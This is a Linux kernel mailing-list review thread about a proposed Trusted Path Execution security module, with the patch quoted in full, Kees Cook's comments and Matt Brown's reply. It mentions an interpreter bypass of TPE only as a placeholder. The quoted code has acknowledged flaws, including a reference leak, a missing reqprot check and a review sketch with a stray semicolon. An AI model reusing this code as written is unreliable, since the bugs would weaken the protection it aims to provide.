> *  If attacker uses a binary as a part of their system exploit, TPE can
>    frustrate their efforts
>
> *  This protection can be more effective when an attacker does not yet
>    have an interactive shell on a system
>
> *  Issues:
>    *  Can be bypassed by interpreted languages such as python. You can run
>       malicious code by doing: python -c 'evil code'

What's the recommendation for people interested in using TPE but
having interpreters installed?

>
> 2. Attacker on system replaces binary used by a privileged user with a
>    malicious one
>
> *  This situation arises when the administrator of a system leaves a
>    binary as world writable.
>
> *  TPE is very effective against this threat model
>
> This Trusted Path Execution implementation introduces the following
> Kconfig options and sysctls. The Kconfig text and sysctl options are
> taken heavily from Brad Spengler's implementation. Some extra sysctl
> options were taken from Corey Henderson's implementation.
>
> CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
>
> default: n
>
> This option enables Trusted Path Execution. TPE blocks *untrusted*
> users from executing files that meet the following conditions:
>
> * file is not in a root-owned directory
> * file is writable by a user other than root
>
> NOTE: By default root is not restricted by TPE.
>
> CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
>
> default: 0
>
> This option defines a group id that, by default, is the trusted group.
> If a user is not trusted then it has the checks described in
> CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
> checks are not applied. You can disable the trusted gid option by
> setting it to 0. This makes all non-root users untrusted.
>
> CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
>
> default: n
>
> This option applies another set of restrictions to all non-root users
> even if they are trusted. This only allows execution under the
> following conditions:
>
> * file is in a directory owned by the user that is not group or
>   world-writable
> * file is in a directory owned by root and writable only by root
>
> CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
>
> default: n
>
> This option applies all enabled TPE restrictions to root.
>
> CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
>
> default: n
>
> This option reverses the trust logic of the gid option and makes
> kernel.tpe.gid into the untrusted group. This means that all other groups
> become trusted. This sysctl is helpful when you want TPE restrictions
> to be limited to a small subset of users.
>
> Signed-off-by: Matt Brown <matt@nmatt.com>
> ---
>  Documentation/security/tpe.txt |  59 +++++++++++
>  MAINTAINERS                    |   5 +
>  include/linux/lsm_hooks.h      |   5 +
>  security/Kconfig               |   1 +
>  security/Makefile              |   2 +
>  security/security.c            |   1 +
>  security/tpe/Kconfig           |  64 ++++++++++++
>  security/tpe/Makefile          |   3 +
>  security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
>  9 files changed, 358 insertions(+)
>  create mode 100644 Documentation/security/tpe.txt
>  create mode 100644 security/tpe/Kconfig
>  create mode 100644 security/tpe/Makefile
>  create mode 100644 security/tpe/tpe_lsm.c
>
> diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
> new file mode 100644
> index 0000000..226afcc
> --- /dev/null
> +++ b/Documentation/security/tpe.txt
> @@ -0,0 +1,59 @@
> [...]

Yes, docs! I love it. :) One suggestion, though, all of the per-LSM
docs were moved in -next from .txt to .rst files, and had index
entries added, etc:
https://patchwork.kernel.org/patch/9725165/

Namely, move to Documentation/admin-guide/LSM/, add an entry to
index.rst and format it using ReST:
https://www.kernel.org/doc/html/latest/doc-guide/sphinx.html#writing-documentation

> diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
> new file mode 100644
> index 0000000..a1b8f17
> --- /dev/null
> +++ b/security/tpe/Kconfig
> @@ -0,0 +1,64 @@
> +config SECURITY_TPE
> +       bool "Trusted Path Execution (TPE)"
> +       default n
> +       help
> +         If you say Y here, you will be able to choose a gid to add to the
> +         supplementary groups of users you want to mark as "trusted."
> +         Untrusted users will not be able to execute any files that are not in
> +         root-owned directories writable only by root.  If the sysctl option
> +         is enabled, a sysctl option with name "tpe.enabled" is created.
> +
> +config SECURITY_TPE_GID
> +       int
> +       default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
> +       default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)

I think this should have "depends on SECURITY_TPE" (like all the others).

> [...]
> diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
> new file mode 100644
> index 0000000..fda811a
> --- /dev/null
> +++ b/security/tpe/tpe_lsm.c
> @@ -0,0 +1,218 @@
> +/*
> + * Trusted Path Execution Security Module
> + *
> + * Copyright (C) 2017 Matt Brown
> + * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
> + * http://www.grsecurity.net spender at grsecurity.net
> + * Copyright (C) 2011 Corey Henderson
> + *
> + * This program is free software; you can redistribute it and/or
> + * modify it under the terms of the GNU General Public License version 2
> + * as published by the Free Software Foundation.
> + *
> + * This program is distributed in the hope that it will be useful,
> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
> + * GNU General Public License for more details.
> + *
> + */
> +#include <linux/kernel.h>
> +#include <linux/uidgid.h>
> +#include <linux/ratelimit.h>
> +#include <linux/limits.h>
> +#include <linux/cred.h>
> +#include <linux/slab.h>
> +#include <linux/lsm_hooks.h>
> +#include <linux/sysctl.h>
> +#include <linux/binfmts.h>
> +#include <linux/string_helpers.h>
> +#include <linux/dcache.h>
> +#include <uapi/asm-generic/mman-common.h>
> +
> +#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
> +#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
> +#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
> +#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
> +
> +static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
> +static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
> +static int tpe_invert_gid __read_mostly =
> +       IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
> +static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
> +static int tpe_restrict_root __read_mostly =
> +       IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
> +
> +int print_tpe_error(struct file *file, char *reason1, char *reason2,
> +       char *method)

I think these char * can all be const char *.

> +{
> +       char *filepath;
> +
> +       filepath = kstrdup_quotable_file(file, GFP_KERNEL);
> +
> +       if (!filepath)
> +               return -ENOMEM;
> +
> +       pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
> +               (IS_ERR(filepath) ? "failed fetching file path" : filepath),
> +               reason1, reason2 ? " and " : "", reason2 ?: "");
> +       kfree(filepath);
> +       return -EPERM;
> +}
> +
> +static int tpe_check(struct file *file, char *method)

This char * can be const char *.

> +{
> +       struct inode *inode;
> +       struct inode *file_inode;
> +       struct dentry *dir;
> +       const struct cred *cred = current_cred();
> +       char *reason1 = NULL;
> +       char *reason2 = NULL;

Perhaps check file argument for NULL here instead of each caller?

> +
> +       dir = dget_parent(file->f_path.dentry);
> +       inode = d_backing_inode(dir);
> +       file_inode = d_backing_inode(file->f_path.dentry);
> +
> +       if (!tpe_enabled)
> +               return 0;
> +
> +       /* never restrict root unless restrict_root sysctl is 1*/
> +       if (global_root(cred->uid) && !tpe_restrict_root)
> +               return 0;
> +
> +       if (!tpe_strict)
> +               goto general_tpe_check;

This kind of use of goto tells me the code sections need to be
separate functions. i.e. tpe_check_strict() for the bit below before
general_tpe_check:

> +
> +       /* TPE_STRICT: restrictions enforced even if the gid is trusted */
> +       if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
> +               reason1 = "directory not owned by user";
> +       else if (inode->i_mode & 0002)
> +               reason1 = "file in world-writable directory";
> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
> +               reason1 = "file in group-writable directory";
> +       else if (file_inode->i_mode & 0002)
> +               reason1 = "file is world-writable";
> +
> +       if (reason1)
> +               goto end;

struct tpe_rationale {
    const char *reason1;
    const char *reason2;
};

bool tpe_check_strict(...)
{
    if (!tpe_strict);
        return false;
    ...
    return rationale->reason1 != NULL;
}

static int tpe_check(...)
{
    ...
    struct tpe_rationale rationale= { };

    if (tpe_check_strict(inode, cred, &rationale))
        goto end;
...

> +general_tpe_check:
> +       /* determine if group is trusted */
> +       if (global_root_gid(tpe_gid))
> +               goto next_check;
> +       if (!tpe_invert_gid && !in_group_p(tpe_gid))
> +               reason2 = "not in trusted group";
> +       else if (tpe_invert_gid && in_group_p(tpe_gid))
> +               reason2 = "in untrusted group";
> +       else
> +               return 0;

(This return 0 currently leaks the dget that is put at the end label.
Ah, yes, already pointed out I see now in later reply in thread.)

    if (tpe_check_general(inode, cred, &rationale))
        goto end;

bool tpe_check_general(...)
{
    if (!global_root_gid(tpe_gid)) {
         rationale->reason1 = NULL;
         return true;
    }
    ...
}

> +
> +next_check:
> +       /* main TPE checks */
> +       if (global_nonroot(inode->i_uid))
> +               reason1 = "file in non-root-owned directory";
> +       else if (inode->i_mode & 0002)
> +               reason1 = "file in world-writable directory";
> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
> +               reason1 = "file in group-writable directory";
> +       else if (file_inode->i_mode & 0002)
> +               reason1 = "file is world-writable";

    tpe_check_main(inode, cred, &rationale);

> +
> +end:
> +       dput(dir);
> +       if (reason1)
> +               return print_tpe_error(file, reason1, reason2, method);
> +       else
> +               return 0;

And the end part above stays.

> +}
> +
> +int tpe_mmap_file(struct file *file, unsigned long reqprot,
> +       unsigned long prot, unsigned long flags)
> +{
> +       if (!file || !(prot & PROT_EXEC))
> +               return 0;
> +
> +       return tpe_check(file, "mmap");
> +}
> +
> +int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
> +       unsigned long prot)
> +{
> +       if (!vma->vm_file)

No examination of reqprot vs prot here?

> +               return 0;
> +       return tpe_check(vma->vm_file, "mprotect");
> +}
> +
> +static int tpe_bprm_set_creds(struct linux_binprm *bprm)
> +{
> +       if (!bprm->file)
> +               return 0;
> +       return tpe_check(bprm->file, "exec");
> +
> +}
> +
> +static struct security_hook_list tpe_hooks[] = {
> +       LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
> +       LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
> +       LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
> +};
> +
> +#ifdef CONFIG_SYSCTL
> +struct ctl_path tpe_sysctl_path[] = {
> +       { .procname = "kernel", },
> +       { .procname = "tpe", },
> +       { }
> +};
> +
> +static struct ctl_table tpe_sysctl_table[] = {
> +       {
> +               .procname       = "enabled",
> +               .data           = &tpe_enabled,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "gid",
> +               .data           = &tpe_gid,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "invert_gid",
> +               .data           = &tpe_invert_gid,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "strict",
> +               .data           = &tpe_strict,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "restrict_root",
> +               .data           = &tpe_restrict_root,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       { }
> +};
> +static void __init tpe_init_sysctl(void)
> +{
> +       if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
> +               panic("TPE: sysctl registration failed.\n");
> +}
> +#else
> +static inline void tpe_init_sysctl(void) { }
> +#endif /* CONFIG_SYSCTL */
> +
> +void __init tpe_add_hooks(void)
> +{
> +       pr_info("TPE: securing systems like it's 1998\n");

:)

> +       security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
> +       tpe_init_sysctl();
> +}
> --
> 2.10.2
>

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/08/2017 10:38 PM, Kees Cook wrote:
> On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
>> This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
>> feature. It also adds features and config options that were found in Corey
>> Henderson's tpe-lkm project.
>>
>> Modifications from Brad Spengler's implementation of TPE were made to
>> turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
>> Also, a new denial logging function was used to simplify printing messages
>> to the kernel log. Additionally, mmap and mprotect restrictions were
>> taken from Corey Henderson's tpe-lkm project and implemented using the
>> LSM hooks mmap_file and file_mprotect.
>>
>> Trusted Path Execution is not a new idea:
>>
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
>>
>> To be clear, Trusted Path Execution is no replacement for a MAC system
>> like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
>> without requiring a userland utility to configure policies. The fact
>> that TPE only requires the user to turn on a few sysctl options lowers
>> the barrier to implementing a security framework substantially.
>>
>> Threat Models:
>>
>> 1. Attacker on system executing exploit on system vulnerability
>>
>> *  If attacker uses a binary as a part of their system exploit, TPE can
>>    frustrate their efforts
>>
>> *  This protection can be more effective when an attacker does not yet
>>    have an interactive shell on a system
>>
>> *  Issues:
>>    *  Can be bypassed by interpreted languages such as python. You can run
>>       malicious code by doing: python -c 'evil code'
>
> What's the recommendation for people interested in using TPE but
> having interpreters installed?
>

If you don't need a given interpreter installed, uninstall it. While
this is common sense system hardening it especially would make a
difference under the TPE threat model.

I don't have a knock down answer for this. Interpreters are a hard
problem for TPE.

>>
>> 2. Attacker on system replaces binary used by a privileged user with a
>>    malicious one
>>
>> *  This situation arises when the administrator of a system leaves a
>>    binary as world writable.
>>
>> *  TPE is very effective against this threat model
>>
>> This Trusted Path Execution implementation introduces the following
>> Kconfig options and sysctls. The Kconfig text and sysctl options are
>> taken heavily from Brad Spengler's implementation. Some extra sysctl
>> options were taken from Corey Henderson's implementation.
>>
>> CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
>>
>> default: n
>>
>> This option enables Trusted Path Execution. TPE blocks *untrusted*
>> users from executing files that meet the following conditions:
>>
>> * file is not in a root-owned directory
>> * file is writable by a user other than root
>>
>> NOTE: By default root is not restricted by TPE.
>>
>> CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
>>
>> default: 0
>>
>> This option defines a group id that, by default, is the trusted group.
>> If a user is not trusted then it has the checks described in
>> CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
>> checks are not applied. You can disable the trusted gid option by
>> setting it to 0. This makes all non-root users untrusted.
>>
>> CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
>>
>> default: n
>>
>> This option applies another set of restrictions to all non-root users
>> even if they are trusted. This only allows execution under the
>> following conditions:
>>
>> * file is in a directory owned by the user that is not group or
>>   world-writable
>> * file is in a directory owned by root and writable only by root
>>
>> CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
>>
>> default: n
>>
>> This option applies all enabled TPE restrictions to root.
>>
>> CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
>>
>> default: n
>>
>> This option reverses the trust logic of the gid option and makes
>> kernel.tpe.gid into the untrusted group. This means that all other groups
>> become trusted. This sysctl is helpful when you want TPE restrictions
>> to be limited to a small subset of users.
>>
>> Signed-off-by: Matt Brown <matt@nmatt.com>
>> ---
>>  Documentation/security/tpe.txt |  59 +++++++++++
>>  MAINTAINERS                    |   5 +
>>  include/linux/lsm_hooks.h      |   5 +
>>  security/Kconfig               |   1 +
>>  security/Makefile              |   2 +
>>  security/security.c            |   1 +
>>  security/tpe/Kconfig           |  64 ++++++++++++
>>  security/tpe/Makefile          |   3 +
>>  security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
>>  9 files changed, 358 insertions(+)
>>  create mode 100644 Documentation/security/tpe.txt
>>  create mode 100644 security/tpe/Kconfig
>>  create mode 100644 security/tpe/Makefile
>>  create mode 100644 security/tpe/tpe_lsm.c
>>
>> diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
>> new file mode 100644
>> index 0000000..226afcc
>> --- /dev/null
>> +++ b/Documentation/security/tpe.txt
>> @@ -0,0 +1,59 @@
>> [...]
>
> Yes, docs! I love it. :) One suggestion, though, all of the per-LSM
> docs were moved in -next from .txt to .rst files, and had index
> entries added, etc:
> https://patchwork.kernel.org/patch/9725165/
>
> Namely, move to Documentation/admin-guide/LSM/, add an entry to
> index.rst and format it using ReST:
> https://www.kernel.org/doc/html/latest/doc-guide/sphinx.html#writing-documentation
>

Will do :)

>> diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
>> new file mode 100644
>> index 0000000..a1b8f17
>> --- /dev/null
>> +++ b/security/tpe/Kconfig
>> @@ -0,0 +1,64 @@
>> +config SECURITY_TPE
>> +       bool "Trusted Path Execution (TPE)"
>> +       default n
>> +       help
>> +         If you say Y here, you will be able to choose a gid to add to the
>> +         supplementary groups of users you want to mark as "trusted."
>> +         Untrusted users will not be able to execute any files that are not in
>> +         root-owned directories writable only by root.  If the sysctl option
>> +         is enabled, a sysctl option with name "tpe.enabled" is created.
>> +
>> +config SECURITY_TPE_GID
>> +       int
>> +       default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
>> +       default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)
>
> I think this should have "depends on SECURITY_TPE" (like all the others).
>
>> [...]
>> diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
>> new file mode 100644
>> index 0000000..fda811a
>> --- /dev/null
>> +++ b/security/tpe/tpe_lsm.c
>> @@ -0,0 +1,218 @@
>> +/*
>> + * Trusted Path Execution Security Module
>> + *
>> + * Copyright (C) 2017 Matt Brown
>> + * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
>> + * http://www.grsecurity.net spender@grsecurity.net
>> + * Copyright (C) 2011 Corey Henderson
>> + *
>> + * This program is free software; you can redistribute it and/or
>> + * modify it under the terms of the GNU General Public License version 2
>> + * as published by the Free Software Foundation.
>> + *
>> + * This program is distributed in the hope that it will be useful,
>> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
>> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
>> + * GNU General Public License for more details.
>> + *
>> + */
>> +#include <linux/kernel.h>
>> +#include <linux/uidgid.h>
>> +#include <linux/ratelimit.h>
>> +#include <linux/limits.h>
>> +#include <linux/cred.h>
>> +#include <linux/slab.h>
>> +#include <linux/lsm_hooks.h>
>> +#include <linux/sysctl.h>
>> +#include <linux/binfmts.h>
>> +#include <linux/string_helpers.h>
>> +#include <linux/dcache.h>
>> +#include <uapi/asm-generic/mman-common.h>
>> +
>> +#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
>> +#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
>> +#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
>> +#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
>> +
>> +static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
>> +static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
>> +static int tpe_invert_gid __read_mostly =
>> +       IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
>> +static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
>> +static int tpe_restrict_root __read_mostly =
>> +       IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
>> +
>> +int print_tpe_error(struct file *file, char *reason1, char *reason2,
>> +       char *method)
>
> I think these char * can all be const char *.
>
>> +{
>> +       char *filepath;
>> +
>> +       filepath = kstrdup_quotable_file(file, GFP_KERNEL);
>> +
>> +       if (!filepath)
>> +               return -ENOMEM;
>> +
>> +       pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
>> +               (IS_ERR(filepath) ? "failed fetching file path" : filepath),
>> +               reason1, reason2 ? " and " : "", reason2 ?: "");
>> +       kfree(filepath);
>> +       return -EPERM;
>> +}
>> +
>> +static int tpe_check(struct file *file, char *method)
>
> This char * can be const char *.
>
>> +{
>> +       struct inode *inode;
>> +       struct inode *file_inode;
>> +       struct dentry *dir;
>> +       const struct cred *cred = current_cred();
>> +       char *reason1 = NULL;
>> +       char *reason2 = NULL;
>
> Perhaps check file argument for NULL here instead of each caller?
>
>> +
>> +       dir = dget_parent(file->f_path.dentry);
>> +       inode = d_backing_inode(dir);
>> +       file_inode = d_backing_inode(file->f_path.dentry);
>> +
>> +       if (!tpe_enabled)
>> +               return 0;
>> +
>> +       /* never restrict root unless restrict_root sysctl is 1*/
>> +       if (global_root(cred->uid) && !tpe_restrict_root)
>> +               return 0;
>> +
>> +       if (!tpe_strict)
>> +               goto general_tpe_check;
>
> This kind of use of goto tells me the code sections need to be
> separate functions. i.e. tpe_check_strict() for the bit below before
> general_tpe_check:
>
>> +
>> +       /* TPE_STRICT: restrictions enforced even if the gid is trusted */
>> +       if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
>> +               reason1 = "directory not owned by user";
>> +       else if (inode->i_mode & 0002)
>> +               reason1 = "file in world-writable directory";
>> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
>> +               reason1 = "file in group-writable directory";
>> +       else if (file_inode->i_mode & 0002)
>> +               reason1 = "file is world-writable";
>> +
>> +       if (reason1)
>> +               goto end;
>
> struct tpe_rationale {
>     const char *reason1;
>     const char *reason2;
> };
>
> bool tpe_check_strict(...)
> {
>     if (!tpe_strict);
>         return false;
>     ...
>     return rationale->reason1 != NULL;
> }
>
> static int tpe_check(...)
> {
>     ...
>     struct tpe_rationale rationale= { };
>
>     if (tpe_check_strict(inode, cred, &rationale))
>         goto end;
> ...
>
>> +general_tpe_check:
>> +       /* determine if group is trusted */
>> +       if (global_root_gid(tpe_gid))
>> +               goto next_check;
>> +       if (!tpe_invert_gid && !in_group_p(tpe_gid))
>> +               reason2 = "not in trusted group";
>> +       else if (tpe_invert_gid && in_group_p(tpe_gid))
>> +               reason2 = "in untrusted group";
>> +       else
>> +               return 0;
>
> (This return 0 currently leaks the dget that is put at the end label.
> Ah, yes, already pointed out I see now in later reply in thread.)
>
>     if (tpe_check_general(inode, cred, &rationale))
>         goto end;
>
> bool tpe_check_general(...)
> {
>     if (!global_root_gid(tpe_gid)) {
>          rationale->reason1 = NULL;
>          return true;
>     }
>     ...
> }
>
>> +
>> +next_check:
>> +       /* main TPE checks */
>> +       if (global_nonroot(inode->i_uid))
>> +               reason1 = "file in non-root-owned directory";
>> +       else if (inode->i_mode & 0002)
>> +               reason1 = "file in world-writable directory";
>> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
>> +               reason1 = "file in group-writable directory";
>> +       else if (file_inode->i_mode & 0002)
>> +               reason1 = "file is world-writable";
>
>     tpe_check_main(inode, cred, &rationale);
>
>> +
>> +end:
>> +       dput(dir);
>> +       if (reason1)
>> +               return print_tpe_error(file, reason1, reason2, method);
>> +       else
>> +               return 0;
>
> And the end part above stays.
>
>> +}
>> +
>> +int tpe_mmap_file(struct file *file, unsigned long reqprot,
>> +       unsigned long prot, unsigned long flags)
>> +{
>> +       if (!file || !(prot & PROT_EXEC))
>> +               return 0;
>> +
>> +       return tpe_check(file, "mmap");
>> +}
>> +
>> +int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
>> +       unsigned long prot)
>> +{
>> +       if (!vma->vm_file)
>
> No examination of reqprot vs prot here?
>

opps you're right. Would I just need to check (reqprot & PROT_EXEC) or
do I need to check (prot & PROT_EXEC) as well? Would the kernel ever
try to set PROT_EXEC if the application didn't ask for it?

>> +               return 0;
>> +       return tpe_check(vma->vm_file, "mprotect");
>> +}
>> +
>> +static int tpe_bprm_set_creds(struct linux_binprm *bprm)
>> +{
>> +       if (!bprm->file)
>> +               return 0;
>> +       return tpe_check(bprm->file, "exec");
>> +
>> +}
>> +
>> +static struct security_hook_list tpe_hooks[] = {
>> +       LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
>> +       LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
>> +       LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
>> +};
>> +
>> +#ifdef CONFIG_SYSCTL
>> +struct ctl_path tpe_sysctl_path[] = {
>> +       { .procname = "kernel", },
>> +       { .procname = "tpe", },
>> +       { }
>> +};
>> +
>> +static struct ctl_table tpe_sysctl_table[] = {
>> +       {
>> +               .procname       = "enabled",
>> +               .data           = &tpe_enabled,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "gid",
>> +               .data           = &tpe_gid,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "invert_gid",
>> +               .data           = &tpe_invert_gid,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "strict",
>> +               .data           = &tpe_strict,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "restrict_root",
>> +               .data           = &tpe_restrict_root,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       { }
>> +};
>> +static void __init tpe_init_sysctl(void)
>> +{
>> +       if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
>> +               panic("TPE: sysctl registration failed.\n");
>> +}
>> +#else
>> +static inline void tpe_init_sysctl(void) { }
>> +#endif /* CONFIG_SYSCTL */
>> +
>> +void __init tpe_add_hooks(void)
>> +{
>> +       pr_info("TPE: securing systems like it's 1998\n");
>
> :)
>
>> +       security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
>> +       tpe_init_sysctl();
>> +}
>> --
>> 2.10.2
>>
>
> -Kees
>

I agree with all the suggested changes above and will have them soon in
v3.

Thanks for the review,
Matt

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/08/2017 10:38 PM, Kees Cook wrote:
> On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
>> This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
>> feature. It also adds features and config options that were found in Corey
>> Henderson's tpe-lkm project.
>>
>> Modifications from Brad Spengler's implementation of TPE were made to
>> turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
>> Also, a new denial logging function was used to simplify printing messages
>> to the kernel log. Additionally, mmap and mprotect restrictions were
>> taken from Corey Henderson's tpe-lkm project and implemented using the
>> LSM hooks mmap_file and file_mprotect.
>>
>> Trusted Path Execution is not a new idea:
>>
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
>>
>> To be clear, Trusted Path Execution is no replacement for a MAC system
>> like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
>> without requiring a userland utility to configure policies. The fact
>> that TPE only requires the user to turn on a few sysctl options lowers
>> the barrier to implementing a security framework substantially.
>>
>> Threat Models:
>>
>> 1. Attacker on system executing exploit on system vulnerability
>>
>> *  If attacker uses a binary as a part of their system exploit, TPE can
>>    frustrate their efforts
>>
>> *  This protection can be more effective when an attacker does not yet
>>    have an interactive shell on a system
>>
>> *  Issues:
>>    *  Can be bypassed by interpreted languages such as python. You can run
>>       malicious code by doing: python -c 'evil code'
>
> What's the recommendation for people interested in using TPE but
> having interpreters installed?
>

If you don't need a given interpreter installed, uninstall it. While
this is common sense system hardening it especially would make a
difference under the TPE threat model.

I don't have a knock down answer for this. Interpreters are a hard
problem for TPE.

>>
>> 2. Attacker on system replaces binary used by a privileged user with a
>>    malicious one
>>
>> *  This situation arises when the administrator of a system leaves a
>>    binary as world writable.
>>
>> *  TPE is very effective against this threat model
>>
>> This Trusted Path Execution implementation introduces the following
>> Kconfig options and sysctls. The Kconfig text and sysctl options are
>> taken heavily from Brad Spengler's implementation. Some extra sysctl
>> options were taken from Corey Henderson's implementation.
>>
>> CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
>>
>> default: n
>>
>> This option enables Trusted Path Execution. TPE blocks *untrusted*
>> users from executing files that meet the following conditions:
>>
>> * file is not in a root-owned directory
>> * file is writable by a user other than root
>>
>> NOTE: By default root is not restricted by TPE.
>>
>> CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
>>
>> default: 0
>>
>> This option defines a group id that, by default, is the trusted group.
>> If a user is not trusted then it has the checks described in
